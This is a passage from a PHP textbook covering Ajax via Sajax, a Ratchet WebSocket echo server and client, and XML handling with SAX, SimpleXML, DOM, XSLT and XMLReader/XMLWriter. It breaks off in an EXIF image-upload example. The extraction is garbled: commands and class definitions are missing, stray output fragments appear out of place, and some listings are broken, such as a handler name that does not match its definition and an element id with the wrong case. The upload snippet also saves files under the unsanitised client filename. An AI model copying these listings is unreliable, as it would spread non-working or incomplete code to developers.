"glue" between client and server is of course Ajax—or XMLHttpRequest.
One of the first packages in this area was Sajax, available at https://github.com/ajenbo/
sajax. Unfortunately, there have been no updates for what feels like an eternity, and
from a PHP perspective, you have to make compromises in terms of error handling. But
the package is still well-suited for a short JavaScript example. The distribution ZIP con-
tains the Sajax.php file, which contains everything you need for programming.2
To keep the example as clear as possible, the business logic in the PHP script is very
simple: the current server time is returned. This simple function takes care of that:
function serverTime() {
return date("H:i:s");
}
This function is located on the server, so it is initially not possible to access it on the cli-
ent side. However, Sajax can establish this connection. First, load the library:
require_once "Sajax.php";
2 This file is not included in the book listings: You need to get it from the Sajax project homepage on
GitHub.
Then initialize the package and export the PHP function, making it available on the cli-
ent side. Finally, sajax_handle_request() ensures that the current PHP script is also pre-
pared to accept corresponding XMLHttpRequest requests:
sajax_init();
sajax_export("serverTime");
sajax_handle_client_request();
Sajax then generates a corresponding client-side JavaScript function for each exported
server-side PHP function, which takes care of establishing the connection and exchang-
ing data. The function name is prefixed with x_. There is therefore an automatically gen-
erated x_serverTime() JavaScript function for the serverTime() PHP function. This
automatically has an additional parameter: a callback function that is called exactly
when the returns from the server are available; the communication is asynchronous.
This allows the server time to be output regularly (approximately once per second in the
example):
function showServerTime() {
x_serverTime(serverTime_callback);
setTimeout(showServerTime, 1000);
}
showServerTime();
function serverTime_callback(result) {
document.getElementById("Time").innerHTML = result;
}
...
<p id="Time"></p>
Only one question remains: Where does all the functionality that ensures the data
exchange come from? This is taken care of by Sajax, which can automatically generate
the corresponding JavaScript code, provided you also call the appropriate function
within a <script> element:
<script>
<?php
sajax_show_javascript();
?>
</script>
<?php
function serverTime() {
return date("H:i:s");
}
require_once "Sajax.php";
sajax_init();
sajax_export("serverTime");
sajax_handle_client_request();
?>
<html>
<head>
<title>PHP and JavaScript</title>
<script>
<?php
sajax_show_javascript();
?>
function showServerTime() {
x_serverTime(serverTime_callback);
setTimeout(showServerTime, 1000);
}
showServerTime();
function serverTime_callback(result) {
document.getElementById("Time").innerHTML = result;
}
</script>
</head>
<body>
<p id="Time"></p>
</body>
</html>
Figure 28.4 shows both the output and what happens in the background: The browser's
web tools show the return from the penultimate HTTP request. The browser view is
already one second ahead.
In-depth knowledge of JavaScript is therefore required to be able to do anything with
Ajax or XMLHttpRequest. After that, there are many useful application possibilities—but
all only if JavaScript is activated.
// Output: array(4) {
[0]=>
int(1)
[1]=>
string(5) "hello"
[2]=>
bool(true)
[3]=>
object(stdClass)#2 (1) {
["b"]=>
string(3) "xyz"
}
}
?>
Chapter 27 also deals with JSON in connection with REST APIs.
28.4 WebSockets
Ajax is quite nice, but not particularly performant; after all, the whole thing is still
based on HTTP. With WebSockets or the WebSocket protocol, there is a possible alterna-
tive. This is a very high-performance, full-duplex communication protocol that enables
data to be exchanged with the server in a very simple way. HTTP is still in play, but only
for establishing the connection.
WebSockets have numerous advantages. In addition to better performance, the Web-
Socket protocol also offers bidirectionality, meaning that the server can continuously
send data to the client even when a connection is established. The usual HTTP pull
method (the client requests data, and only then does the server send it) naturally looks
old in comparison.
WebSocket Standardization
The WebSocket Protocol is an official Internet Engineering Task Force (IETF) RFC: RFC
6455 (https://tools.ietf.org/html/rfc6455).
The W3C also had an area for WebSockets at www.w3.org/TR/websockets for a long time.
This was initially no longer maintained for around a decade; it has since been forwarded
to the Web Hypertext Application Technology Working Group (WHATWG) at https://
websockets.spec.whatwg.org/, where all further work on the technology takes place.
For an application to work with WebSockets, the client and server must be prepared
accordingly. The client must send a WebSocket connection request via JavaScript, and
the server must be able to process it accordingly. The latter is quite time-consuming
with PHP onboard resources, which is why we use an external component.
28.4.1 Server
There are several versions of the WebSocket Protocol, and one of the server's tasks is to
support each of these correctly; s we will see later, the browser does this more or less
automatically. But instead of implementing everything ourselves, we rely on an estab-
lished package called Ratchet. Under the funny URL http://socketo.me (see Figure 28.5),
there is information about the package and a demo to try it out online, but no direct
download.
Currently, Ratchet can only be installed with the Composer package manager. In Chap-
ter 38, you will find more information on this; among other things, you will also learn
how to install Composer on your system. For the following explanations, we assume
that this has already been done.
Now install the Ratchet package in the project directory via Composer:
If you have not installed Composer globally, but composer.phar is available, use the fol-
lowing command:
Ratchet is then installed on the system. Even autoloading is supported; the vendor/
autoload.php file has been created or adapted accordingly. A simple require "vendor/
autoload.php" (with a customized path if necessary) loads all the classes required for
Ratchet (see Figure 28.6).
Ratchet has a namespace of the same name and a number of classes underneath it. Let's
first take a look at the MessageComponentInterface interface, which defines four meth-
ods:
쐍 onOpen()
Called when the connection to the WebSocket server is established
쐍 onClose()
Called when the connection to the WebSocket server is closed again
쐍 onMessage()
Called when a message has been sent to the server
쐍 onError()
Called when an error occurs
In our example, we want to implement a simple server that returns all messages that
are sent to it. For this reason, we only need to provide the onMessage() method with a
concrete implementation. This can then look as follows:
Next, we need to make sure that we implement an endpoint for WebSocket calls. To do
this, we need some classes from Ratchet (shown here without the associated name-
spaces):
쐍 IoServer is the general base class for servers in Ratchet.
쐍 HttpServer creates a server that can receive HTTP requests.
쐍 WsServer implements a WebSocket server based on an HTTP server.
The following nested call creates a WebSocket server for our EchoServer implementa-
tion and executes it on port 12345:
$server = Ratchet\Server\IoServer::factory(
new Ratchet\Http\HttpServer(
new Ratchet\WebSocket\WsServer(
new EchoServer())), 12345);
$server->run();
Listing 28.4 shows an overview of the complete code: the autoloading, the class imple-
mentation, and the instantiation of the server.
<?php
require "./vendor/autoload.php";
$server = Ratchet\Server\IoServer::factory(
new Ratchet\Http\HttpServer(
new Ratchet\WebSocket\WsServer(
new EchoServer())), 12345);
$server->run();
?>
php echo.php
28.4.2 Client
The only thing missing is the client side—and therefore JavaScript. The programming
interface for WebSockets looks very simple and essentially consists of the following
components:
쐍 WebSocket is the base class.
쐍 The send() method sends a message to the server.
쐍 There is a series of events analogous to the server implementation from Listing 28.4,
such as open and message.
When establishing a connection with the server, its address is passed to the constructor
of the WebSocket class.3 We use ws:// as the protocol, so in our case the URL is ws://
127.0.0.1:12345: WebSocket protocol, locally running server, port 12345.
The following code sends the classic "Hello world" message to the server once the con-
nection has been established (open event):
3 Of course, strictly speaking it is not a class in JavaScript, and also not a constructor, but the func-
tionality is so similar in this case that we will stick to this description.
If the message event is triggered, the server has sent data to the client. The function that
handles the event receives a type of array, whereby the actual server information is
located behind the data key. The following code displays this briefly and painlessly in a
modal message window:
ws.onmessage = function(e) {
alert(e.data);
}
Listing 28.5 shows a slightly extended example: If you enter something in the text
input field and click the button, then your input is sent to the WebSocket server and the
return is displayed (which should ideally be the same text). Figure 28.7 shows how it
works in the browser.
<!DOCTYPE html>
<html>
<head>
<title>WebSockets</title>
<script>
var ws = new WebSocket("ws://127.0.0.1:12345");
ws.onmessage = (e) => {
alert("Data from server: " + e.data);
}
window.onload = () => {
document.getElementById("btn").addEventListener("click", (e) => {
var input = document.getElementById("input").value;
ws.send(input);
})
}
</script>
</head>
<body>
<form>
<textarea id="Input"></textarea>
<input type="button" id="btn" value="Send">
</form>
</body>
</html>
Listing 28.5 The WebSocket Client with HTML and JavaScript ("websockets.html")
This is just a first introduction to WebSockets and the first step toward a modern appli-
cation with lots of JavaScript logic and high-performance, real-time communication.
Is there a software product today that is not emblazoned with the decorative abbrevia-
tion XML in large letters? Apart from the gaming corner, it will probably be difficult to
find one. The word processor produces XML, the layout program outputs XML, CMS X
and Y and database Z all support Extensible Markup Language.
29.1 Preparations
The preparations in this chapter include not only the installation, but also a brief intro-
duction to XML at the very beginning. If you are already familiar with it, you can easily
skip it. It will help everyone else to understand the examples in this chapter. For a more
in-depth introduction, however, further books are recommended.
Note
HTML5 is not actually valid XML in the standard notation. However, there is also an option
to select an XML-compatible notation for HTML5: XHTML (http://s-prs.co/v602241).
instead of
<delivery date="10.11.2026"></delivery>.
Note
If you want to turn HTML documents into XHTML, the most common problem candi-
dates for this rule are <br> and <hr> tags, which then become <br /> and <hr />.
<delivery><date></delivery></date>
is.
쐍 The values of attributes must always be enclosed in quotation marks.
쐍 Tag names and attributes in XML must begin with a letter or an underscore (_). All
subsequent characters may consist of letters, numbers, hyphens, and dots. The XML
keyword is prohibited as a name component; you should avoid the colon as it is used
in namespaces.
쐍 An XML document can only have one root element. This must then contain all other
tags.
쐍 The document requires the XML tag, also known as the XML declaration. It contains
the XML version and the character set used. The standard here is UTF-8.
Both standards were published by the W3C. The DTD has a somewhat smaller range of
functions (e.g., it does not support different data types for content) and is a separate
language that is not based on XML. On the other hand, the DTD is older and quite sim-
ple. It is still used today, for example, for the HTML and XHTML doctypes specified by
the W3C. However, there is no explicit DTD for HTML5.
XSD eliminates the disadvantages of the DTD: The standard is based on XML and has
considerably more options. All newer XML-based standards of the W3C, such as SOAP
(for web services), are defined in XSD.
Note
If you create your own document structure, it makes sense to write a DTD or schema
for it. This makes it easier to determine whether different documents have the same
structure. And even if you merge different documents, you have more control. How-
ever, a DTD and a schema are not decisive for the use of XML with PHP. An XML docu-
ment can be accessed regardless of whether it has been validated. One place where
validation appears directly in PHP is a PEAR package for validation with DTDs. The
library libxml can also validate and also understands RELAX NG, an alternative schema
language. However, PHP's basic XML library also supports validation.
Namespaces
Tags can be assigned to specific namespaces. A namespace is particularly useful if you
are merging several XML documents. For example, the <price> tag can have completely
XSLT
Extensible Stylesheet Language Transformations (XSLT) is a sublanguage of XSL. XSL
defines styles for XML documents. XSLT is used to transform XML documents—hence
the word transformations in its name. A transformation can take place sideways—that
is, from one XML format to another—or it can take place downward—that is, XML
becomes an output format such as HTML5 or JSON for structured data.
XSLT works with so-called templates. A tag is given a template. The code that is to be
output for the tag is located within the template. Deeper nested information is
achieved with nested templates.
Listing 29.2 shows a simple example that transforms the XML file from Listing 29.1 into
HTML.
<xsl:template match="/">
<xsl:apply-templates />
</xsl:template>
<xsl:template match="products">
<html>
<head>
<title>Products</title>
</head>
<body>
<table align="center" width="500" border="1">
<tr>
<th>Product</th>
<th>Price</th>
</tr>
<xsl:apply-templates select="product" />
</table>
</body>
</html>
</xsl:template>
<xsl:template match="product">
<tr>
<td><xsl:value-of select="title" /></td>
<td><xsl:value-of select="price" /></td>
</tr>
</xsl:template>
</xsl:stylesheet>
The template for the products root element contains the complete basic structure of
the HTML page. At the point where individual products are to be inserted, there is a ref-
erence to the template for the product tag. The values for title and price are then dis-
played there.
XPath
XML documents are organized hierarchically. With XSLT, individual tags are addressed
via templates—but there is still no way to search more effectively in the tag hierarchy.
XPath is used for this. Some of the syntax is somewhat reminiscent of directory access
in the console:
/products/product/title
This line accesses the title tags from Listing 29.1 which are located below products and
product. This is the path. In addition, or alone, you can also specify a so-called axis. This
determines the direction in which the search is performed. Child, for example, searches
for child nodes. The axis is followed by a colon and a condition.
For example, the following line reads all child nodes that have the product tag name:
Child::product
Note
In practice, XPath is mainly used in conjunction with other XML standards. For exam-
ple, the match specification in XSLT is an XPath construct and can use all XPath func-
tions.
XQuery
XPath alone is hardly sufficient to perform all conceivable queries for XML documents.
Accordingly, the W3C has created another query language, XQuery, which is based on
the SQL model. In practice, XQuery is not used very often, especially in the database
sector, as there are only query mechanisms, and no update or modification options.
Note
Be careful with acronyms and product names: Software AG's XML Tamino database,
for example, uses a query language called X-Query, which is different from XQuery.
XML Programming
Imagine that your XML documents are to be processed in PHP in some form. One way
to do this is XSLT. However, if you only want to access a very specific part of a docu-
ment, you need a programming interface to XML: a parser. In practice, three
approaches to parsers have become established:
쐍 SAX parser, or event-oriented access
쐍 Access via the DOM tree, which sees the XML document as a tree
쐍 Hybrid forms or in-house developments
SAX stands for Simple API for XML. With this access variant, the XML document is tra-
versed from top left to bottom right. Opening and closing tags and attributes generate
events. You can then react to these with methods. SAX is not standardized; it originally
emerged from a Java project. You can find the official website for SAX at www.saxproj-
ect.org. SAX is now also available on the open-source SourceForge website (http://
sourceforge.net/projects/sax).
In contrast to SAX, DOM access is standardized by the W3C (www.w3.org/DOM). The
XML document is loaded into memory as a hierarchy tree, and you can then access
individual branches of the tree—so-called nodes—using predefined methods.
The third approach is in-house developments. Since PHP 5, for example, there has been
the excellent SimpleXML interface. ASP.NET also offers its own approaches with Xml-
TextReader and XmlTextWriter, which are similar to SAX—but only similar with some
differences.
Note
In practice, the rule of thumb applies: SAX is significantly faster, while DOM eats up a
lot of resources as the entire document has to be loaded into memory. On the other
hand, DOM development is much more flexible. SimpleXML is the simplest.
29.1.2 Installation
Since the days of PHP 5, the XML setup is very simple. XML support in PHP 8 is also
completely based on libxml2. No installation is required for SAX and DOM support.
libxslt is responsible for XSLT. Under Linux, configure PHP with --with-xsl[=path].
Under Windows, comment out the following line by removing the semicolon:
extension=php_xsl.dll
29.2.1 SAX
The SAX parser (or XML parser) goes through the XML document and reacts to events.
A SAX parser may seem a little complicated at first glance, but it is actually not. We will
show you the most important steps using a simple example.
Note
Our starting point is an extended version of Listing 29.1. You can find the file under the
name products.xml in the online materials for the book (see Preface).
$xml_parser = xml_parser_create();
2. Now you need an event handler with two functions. They react when the SAX parser
generates an event. There are two types of events, one when the parser encounters
an opening tag and another when it finds the corresponding closing tag:
xml_set_element_handler($xml_parser,
"elem_start", "elem_end");
3. The elem_start() and elem_end() functions receive the parser itself, the name of the
tag (here the $name variable), and an associative array with all attributes of the tag
(here the $attribute variable) as parameters.
In our example, we enter the name of each tag in angle brackets. A line break follows
at the end of each tag:
4. Now the question arises as to what happens to the data. Another event handler is
responsible for this, which calls a function (here, cdata):
xml_set_character_data_handler($xml_parser, "cdata");
5. This function outputs the data after special characters have been converted to HTML
form with htmlspecialchars():
6. Up to this point, the XML file has not yet been read in. This is done by the file_get_
contents(XML file) function:
$data = file_get_contents("products.xml");
8. Finally, you can release the parser. This is no longer necessary since PHP 4 as PHP
monitors this automatically. However, for the sake of cleanliness and to remain PHP
3–compatible, you can do this:
xml_parser_free($xml_parser);
Note
In PHP 8, PHP internally switches from a resource to the XMLParser object for its own
XML parser (http://s-prs.co/v602284). However, the xml_parser_free() function is still
permitted for reasons of backward compatibility, even if it is no longer necessary.
Listing 29.3 contains the complete code, and Figure 29.1 shows its output.
<?php
function elem_start($xml_parser, $name, $attribute) {
echo "<" . $name . ">";
}
$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser,
"elem_start", "elem_end");
xml_set_character_data_handler($xml_parser, "cdata");
$data = file_get_contents("products.xml");
Note
That was the basic principle. Now, of course, you can change a few things to achieve
more precise results. Further details are provided in the following sections.
Parser Options
With the xml_parser_set_option(Parser, Option, Value) function you assign further
options for the parser behavior. The following specifications are possible:
쐍 XML_OPTION_CASE_FOLDING controls how the parser treats upper- and lowercase char-
acters. By default, the option is set to 1 (i.e., true). This means that all tags are con-
verted to uppercase. If you set the option to 0 (i.e., false), the parser leaves the letters
in their original state (see Figure 29.2).
Figure 29.2 Thanks to "XML_OPTION_CASE_FOLDING", All Tag Names Are Now in Their
Original State
쐍 With XML_OPTION_TARGET_ENCODING, you specify the character set for the data. You can
choose ISO-8859-1, US-ASCII, or UTF-8. Select the character set that your XML docu-
ment has if you use specific characters from this character set.
쐍 XML_OPTION_SKIP_WHITE controls whether whitespace (spaces, tabs, etc.) are ignored
by the parser.
Note
With xml_parser_get_option(Parser, Option) you can read out one of the options.
This is quite practical, for example, to find out the encoding.
Collecting Leftovers
When you go through an XML document with the SAX parser, some elements fall by
the wayside, such as the XML declaration or the DTD. You can handle these remaining
elements with an event handler using xml_set_default_handler(Parser, "Function").
There are also two event handlers that are used very rarely:
쐍 xml_set_processing_instruction_handler() filters out processing instructions. The
PHP tags <?php and ?>, for example, are processing instructions.
쐍 xml_set_unparsed_entity_decl_handler(Parser, Handler) defines a function that fil-
ters out all NDATA sections (N here stands for no) in DTDs.
Distinguish Tags
When you work with SAX, it's all about the mindset. Always realize that the parser
works through the document from top to bottom. This also makes it clear in which
order your event handlers are called. Then, of course, there are several ways to reach
your goal. The simplest is usually a case distinction.
In the following example, we use a case distinction to read the title. We define our own
CDATA event handler for this. However, for all other tags—in this case, mainly the
price—we define a different CDATA event handler that doesn’t output anything. With
this simple trick, the title is output, but no other content (see Figure 29.3).
<?php
function elem_start($xml_parser, $name, $attribute) {
if ($name=="title"){
echo "Product: ";
xml_set_character_data_handler($xml_parser, "cdata_output");
} else {
xml_set_character_data_handler($xml_parser, "cdata_not_output");
}
}
function elem_end($xml_parser, $name) {
if ($name=="title") {
echo "<br />";
}
}
function cdata_nichtausgeben($xml, $daten) {
}
function cdata_output($xml, $data) {
echo htmlspecialchars($data);
}
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0);
xml_set_element_handler($xml_parser,
"elem_start", "elem_end");
xml_set_character_data_handler($xml_parser, "cdata");
$data = file_get_contents("products.xml");
xml_parse($xml_parser, $data, true);
xml_parser_free($xml_parser);
?>
It is also important that you set the XML_OPTION_CASE_FOLDING option to false; other-
wise, the tags will be converted to uppercase letters.
Figure 29.3 The Output Only Contains the Products, Not the Prices
29.2.2 SimpleXML
As its name suggests, SimpleXML is a very simple way of accessing XML documents.
SimpleXML is based neither on SAX nor on DOM but is a proprietary solution.
Note
The example XML file for this section is again products.xml.
Basic Principle
In SimpleXML, each node is available with its name. The starting point is the root ele-
ment that you receive when you load a file using SimpleXML:
$sim = simplexml_load_file("products.xml");
$sim = simplexml_load_string(XML-String);
$sim->product,
you refer to the first product tag. However, if you output this, you will see nothing. This
is because SimpleXML only outputs the text content of a tag.
In the following line, the title tag has a text content:
print $sim->product->title;
print $sim->product[1]->title
This accesses the second product and then displays the title, Teapot AB.
Figure 29.4 The Structure of the SimpleXML Construction Starting from the Root Element
print $sim->product->price["currency"];
To access several or all tags, you can make do with loops. The following example goes
through all products and outputs the title, price, and currency in an HTML table (see
Figure 29.5).
<?php
$sim = simplexml_load_file("products.xml");
print '<table border="1" cellpadding="5" align="center">';
foreach ($sim->product as $product) {
print '<tr><td>';
print $product->title;
print '</td><td>';
print $product->price . ' ' . $product->price["currency"];
print '</td></tr>';
}
print '</table>';
?>
Tip
The last example matches the result of the XSLT shown later in Listing 29.15. This raises
the question of what you should use in practice. If it has to be done very quickly, Sim-
pleXML is definitely easier. XSLT has the advantage that you have to rewrite not the
entire conversion script when switching to another programming language, but only a
few lines of code. However, with XSLT it is difficult to separate the content—usually
the HTML template—from the conversion logic. With SimpleXML, on the other hand,
you can work with any PHP template system, such as Smarty.
Other Methods
The children() and attributes() methods do a little more work for you. They allow you
to access the child nodes or attributes of an element directly. The first object is returned
on the first call. You can then loop through all child nodes or attributes.
<?php
$sim = simplexml_load_file("products.xml");
foreach ($sim->children() as $child) {
print $child->title . "<br />";
}
?>
XPath
If the standard access is not powerful enough for you, you can use the XPath imple-
mentation of SimpleXML. This is done using the xpath(expression) method, which
receives an XPath expression as a parameter and returns the first location found. Use a
loop to go through all the locations found.
In the following example, we use XPath to read all title tags.
<?php
$sim = simplexml_load_file("products.xml");
foreach ($sim->xpath("*/title") as $title) {
print "$title<br />";
}
?>
The special thing about this is that title tags that are located elsewhere in the hierar-
chy are also delivered. This requires considerably more effort with normal SimpleXML
access than with XPath.
Writing
Last but not least, with SimpleXML you can not only read and search a document, but
also write new content into it. To do this, simply access a tag and insert the new content.
You can change attributes in the same way. You can also add new attributes to an ele-
ment. You can see all three possible changes in the following script. Finally, return the
modified XML as a string using the asXML() method. Figure 29.6 shows the modified file.
<?php
if ($sim = simplexml_load_file("products.xml")) {
$sim->product[1]->title = "Coffee pot AB";
$sim->product[1]->title["changed"] = date("d.m.Y");
$sim->product[1]->price["currency"] = "Euro";
print "<pre>" . htmlentities($sim->asXML()) . "</pre>";
}
?>
Note
The asXML() method can return not only a string, but also a file. To do this, simply spec-
ify a file name as a parameter:
$sim->asXML("products2.xml");
$sim = simplexml_import_dom($dom);
$dom = dom_import_simplexml($sim);
Note
The DOM for XML already exists in PHP 4, but unfortunately the old implementation
did not use the official names of the DOM specification.
Access
The first step is to access an XML document with a DOMDocument object:
1. First create a new DOMDocument object:
$dom->load("products.xml");
Note
In addition to load(), there are several alternatives for filling a DOMDocument object.
loadXML(String) loads the object from a string, loadHTML() from an HTML string, and
loadHTMLFile() from an HTML file. In contrast to XML, HTML does not have to be well-
formed in order to be loaded. This is often useful in practice.
3. With saveXML(), you return the DOM tree as a string. If you specify a node as an
optional parameter, only this node and its children are output:
$dom->saveXML();
In the following simple example, the DOM tree is output in <pre> tags; you can see the
output in the browser in Figure 29.7.
<?php
$dom = new DOMDocument();
$dom->load("products.xml");
print "<pre>" . htmlentities($dom->saveXML()) . "</pre>";
?>
Note
If you want to save the XML document to a file, use save(File). saveHTML() and
saveHTMLFile(File) generate HTML in a string or a file.
In the following example, getElementsByTagname() is used. The content of all title tags
is searched for.
<?php
$dom = new DOMDocument();
if ($dom->load("products.xml")) {
$elements = $dom->getElementsByTagName("title");
foreach ($elements as $element) {
print $element->textContent . "<br />";
}
}
?>
$element->firstChild->data
Manipulate DOM
In this section, you will see an example of how DOM manipulation works. Some import-
ant DOM functions are used here.
The example script has the following task: It should allow the user to append a new data
record to the end of the XML file using form entries. The starting point is the familiar
products.xml file, which you can of course also find in the online materials for the book
(refer back to the preface).
1. In the first step, you need a form with three form fields for the title, price, and cur-
rency. We have chosen POST as the shipping method.
2. The PHP script first checks whether the form has been submitted and the title has
been set:
$dom->load(realpath("products.xml"), LIBXML_NOBLANKS);
Note
The DOM parser also recognizes spaces and the like (whitespace) as nodes. This is
impractical when navigating through the DOM tree. We therefore remove whitespace
here with the LIBXML_NOBLANKS option.
4. In the next step, create the new product tag for the information from the form:
$new = $dom->createElement("product");
$title = $dom->createElement("title");
$price = $dom->createElement("price");
$price->setAttribute("currency", $_POST["currency"]);
7. The content of the form fields is assigned to them with createTextNode(). With
appendChild(), you insert these two text nodes under the new title and price ele-
ments:
$titleContent = $dom->createTextNode($_POST["title"]);
$priceContent = $dom->createTextNode($_POST["price"]);
$title->appendChild($titleContent);
$price->appendChild($priceContent);
8. So far, the new elements only exist virtually; they are not yet suspended in the DOM
tree. To do this, get the root element with the documentElement property and append
the new product with appendChild() to attach the new product node:
$root = $dom->documentElement;
$root->appendChild($new);
$new->appendChild($title);
$new->appendChild($price);
10. Finally, output the revised XML document as a string with saveXML():
Note
Alternatively, you can also write it to a file with save(file).
Listing 29.11 shows the complete code with the form; you can see the output in Figure
29.8.
<?php
if (isset($_POST["send"]) && $_POST["title"] != "") {
$dom = new DOMDocument();
$dom->load(realpath("products.xml"), LIBXML_NOBLANKS);
$new = $dom->createElement("product");
$title = $dom->createElement("title");
$price = $dom->createElement("price");
$price->setAttribute("currency", $_POST["currency"]);
$titleContent = $dom->createTextNode($_POST["title"]);
$priceContent = $dom->createTextNode($_POST["price"]);
$title->appendChild($titleContent);
$price->appendChild($priceContent);
$new->appendChild($title);
$new->appendChild($price);
//Output in HTML:
print "<pre>" . htmlentities($dom->saveXML()) . "</pre>";
//Write to file:
$dom->save('products_new.xml');
}
?>
<html>
<head>
<title>New entry</title>
</head>
<body>
<form method="POST">
<input type="text" name="title" /> Product title<br />
<input type="text" name="price" /> Price<br />
<input type="text" name="currency" /> Currency<br />
<input type="submit" name="send" value="Enter" />
</form>
</body>
</html>
XPath
It’s worth taking a look at the XPath possibilities of the DOM extension. The use is
slightly different from SimpleXML: you first load the XML file into a DOMDocument object,
then create a new DomXPath object and use query(XPath expression) to execute the
query.
<?php
$dom = new DOMDocument();
if ($dom->load("products.xml")) {
$xpath = new DomXPath($dom);
foreach ($xpath->query("*/title") as $title) {
Classes
The API of the DOM extension is completely object-oriented. The document itself is a
DOMDocument object. There is also DomNode for a node, DomElement with all methods and
properties for a tag, and a few more. What is new is that you can add functionality to the
underlying classes. The easiest way to do this is to write your own classes that inherit
from DOMDocument and the like. This can then be a common task, for example, which you
pack into a method.
29.2.4 Validation
Validation is about checking whether the structure of an XML document is correct. If
you have full control over the appearance of your XML, you do not necessarily need to
validate it. The situation is different if you have specified a certain structure but do not
know whether this is always adhered to. In this case, a DTD or a schema is necessary.
The following listing shows a document with (internal) DTD.
<price currency="Euro">22.50</price>
</product>
</products>
The DOM extension also offers a validation for this—actually, three types of validation:
쐍 For the already known DTDs
쐍 For XSD
쐍 For RELAX NG, a very simple structure description language, which is very popular
in practice1
$dom->validate();
$dom->schemaValidate("schema.xsd");
$dom->relaxNGValidate("relax.rng");
Listing 29.14 shows a simple example with validation against a DTD; you can see the
output in Figure 29.9.
<?php
$dom = new DOMDocument();
if ($dom->load("products_dtd.xml")) {
if ($dom->validate()) {
print "Validation successful!";
} else {
print "Validation failed!";
}
}
?>
29.2.5 XSLT
Like the XML document, the XSLT document is a DOMDocument object. The transformation
with XSLT is very simple from a PHP perspective and consists of the following steps:
1. First load the XML file and XMLReader.
2. Then start an XSLT processor:
$pro->importStylesheet($xslt);
With setProperty(Namespace, Name, Value), you can set properties for the transfor-
mation.
4. Use transformToDoc(DOM) to carry out the transformation:
$erg = $pro->transformToDoc($dom);
Note
Alternatively, you can use transformToXml(DOM) to generate an XML string. Or you can
use transformToUri(DOM, URI) and turn the DOM document into a stream.
print $erg->saveXML();
You can also use the other methods of the DOM extension, such as save(File) to save
the transformed document to a file.
The following script—analogous to Listing 29.5—converts the products.xml XML docu-
ment into an HTML page (see Figure 29.10).
<?php
$xml = new XMLReader();
$xml->open("products.xml");
while ($xml->read()) {
if ($xml->nodeType == XMLReader::ELEMENT) {
if ($xml->localName == "title") {
$xml->read();
echo htmlspecialchars($xml->value) .
"<br />";
}
}
}
?>
Note
XMLReader and XMLWriter have been integrated directly into the PHP core since PHP 5.1.
29.3.1 XMLReader
In contrast to the event-based SAX parser, XMLReader has a cursor-oriented parser,
familiar from reading files. This means that the XML elements are run through individ-
ually. More detailed information on the respective element can then be obtained via
<?php
$xml = new XMLReader();
$xml->open("products.xml");
while ($xml->read())
{
if ($xml->nodeType == XMLReader::ELEMENT) {
if ($xml->localName == "title") {
$xml->read();
echo htmlspecialchars($xml->value) .
"<br />";
}
}
}
?>
Figure 29.11 The Titles of the Two Products Are Read Out
29.3.2 XMLWriter
XMLWriter is the counterpart to XMLReader. It writes an XML document and proceeds
in a strictly hierarchical manner, just like the reader. Each element is started (xmlwriter_
start_element()) and ended (xmlwriter_end_element()). It can be used in both function-
based and object-oriented ways. Listing 29.17 shows an example of function-oriented
access, and the result is shown in Figure 29.12.
<?php
$xmlwr = xmlwriter_open_memory();
xmlwriter_set_indent($xmlwr, true);
xmlwriter_start_document($xmlwr);
xmlwriter_start_element($xmlwr, "products");
xmlwriter_start_element($xmlwr, "product");
xmlwriter_start_element($xmlwr, "title");
xmlwriter_text($xmlwr, "Vacuum cleaner XY");
xmlwriter_end_element($xmlwr);
xmlwriter_start_element($xmlwr, "price");
xmlwriter_write_attribute($xmlwr, "currency", "Euro");
xmlwriter_text($xmlwr, "4,80");
xmlwriter_end_element($xmlwr);
xmlwriter_end_element($xmlwr);
xmlwriter_end_element($xmlwr);
xmlwriter_end_document($xmlwr);
echo htmlspecialchars(xmlwriter_output_memory($xmlwr));
?>
<?php
$xmlwr = new XMLWriter();
$xmlwr->openMemory();
$xmlwr->startDocument('1.0', 'UTF-8');
$xmlwr->setIndent(true);
$xmlwr->startDocument();
$xmlwr->startElement('products');
$xmlwr->startElement('product');
$xmlwr->startElement('title');
$xmlwr->text('Vacuum cleaner XY');
$xmlwr->endElement();
$xmlwr->startElement('price');
$xmlwr->writeAttribute('currency', 'Euro');
$xmlwr->text('4,80');
$xmlwr->endElement();
$xmlwr->endElement();
$xmlwr->endElement();
$xmlwr->endDocument();
echo htmlspecialchars($xmlwr->outputMemory());
?>
29.4 EXIF
There are thousands of application examples for XML. In principle, XML is used wher-
ever data needs to be stored and exchanged. In this section, XML is used to store image
information. Meta information for digital cameras is stored in Exchangeable Image File
Format (EXIF).2
Our application should allow the user to upload an image. Part of its EXIF data is then
read and packed into an XML file. A second script accesses the XML file and reads a
small part of the data.
29.4.1 Preparation
In order for PHP to access EXIF data, you need the corresponding extension. Under
Linux, configure PHP with --enable-exif. Under Windows, simply comment out the
following line by removing the semicolon:
extension=php_exif.dll
2 EXIF is a standard for storing information about a camera and photo and shooting parameters.
However, there are a number of other metadata formats, such as Adobe’s Extensible Metadata Plat-
form (XMP), that are partly based on XML.
extension=php_mbstring.dll
29.4.2 Implementation
The application consists of two scripts: The upload.php script uploads the image to the
server and reads the EXIF data and saves it in an XML file. The read.php file retrieves the
EXIF data from the XML file and the image from the hard disk.
After the file upload, the temporary file3 is copied from the original storage location to
the destination using the move_uploaded_file(origin, destination) method. The image
should have the same name as it has on the user's computer. The file ends up in the
images subfolder:
if (isset($_FILES["File"])) {
move_uploaded_file($_FILES["File"]["tmp_name"], "./images/" .
$_FILES["File"]["name"]);
Note
You may need to check whether a file with this name already exists. If your administra-
tion has several users, then each user needs their own directory. You should also check
the size of the images and set a corresponding limit.
The next step is to read the EXIF data. The exif_read_data(Image, Required, Array,
Thumbnail) method is used for this. You specify the name of the image as a parameter.
This is followed by a string with the EXIF information parts that must be present for the
EXIF head of the image to be read at all.4 The third parameter controls whether the EXIF
data is returned as an array; the fourth parameter determines whether the thumbnail,5
which is usually present in the EXIF header, should also be transferred:
$data = exif_read_data("./images/" .
$_FILES["File"]["name"], "File, EXIF, IFD0", true, false);
Everything else is then DOM work. If no file exists yet, a new document is created and the
root element is written. This is followed by the image tag, which should contain the infor-
mation of the image that has just been uploaded. The individual EXIF information is pro-
vided by a foreach loop. Here’s an example of the procedure for the file information:
3 You make the settings for the storage location in php.ini. You can read more about this in Chapter 13.
4 The EXIF information is divided into several parts. File contains data about the file, EXIF informa-
